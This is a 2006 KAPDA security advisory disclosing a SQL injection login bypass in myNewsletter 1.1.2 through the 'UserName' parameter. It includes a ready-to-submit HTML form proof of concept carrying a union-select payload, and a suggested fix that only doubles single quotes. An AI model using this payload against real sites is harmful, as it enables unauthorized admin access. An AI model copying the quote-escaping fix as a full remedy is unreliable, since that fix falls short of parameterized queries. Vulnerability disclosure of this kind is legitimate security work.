[KAPDA::#47] - myNewsletter 1.1.2 SQL_Injection
82a7ec23cb143125b684e3399b7dc53358e514e87658b7faa3df0c09565847e7[KAPDA::#47] - myNewsletter 1.1.2 SQL_Injection
SQL_Injection
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KAPDA New advisory
Vulnerable products : myNewsletter <= 1.1.2
Vendor: http://www.aspburst.com/index.asp
Risk: Medium
Vulnerability: SQL_Injection
Date :
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Found : 2006/06/05
Vendor Contacted : 2006/06/06
Release Date : 2006/06/06
Discussion :
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At parameter named 'UserName' in "validatelogin.asp" or "adminlogin.asp", Attacker can enter SQL command to login to the system.
Proof of Concepts:
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<html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change action in source and then submit
</center><form name="adminLogin" method="post" action="http://www.site.com/newsletter/adminLogin.asp">
<input type="hidden" name="UserName" value="<!--'union select 1 from Newsletter_Admin where ''='">
<input type="hidden" name="Password" value="1">
<center><br><input type="submit" name="Submit" value="Login"></center><br><br>
<!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net -->
<center><a href="http://www.kapda.ir">www.kapda.ir</a></center>
</form>
</html>
Solution:
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Nothing yet by vendor .
Our solution :
in 'validatelogin.asp' :
function validateLogin(theUserName, thePassword)
sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"
change to this :
function validateLogin(theUserName, thePassword)
theUserName = replace(theUserName,"'","''")
sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"
Original Advisory:
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http://www.kapda.ir/advisory-340.html
Credit :
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FarhadKey of KAPDA
farhadkey [at} kapda {d0t} net
Kapda - Security Science Researchers Insitute of Iran
http://www.KAPDA.ir
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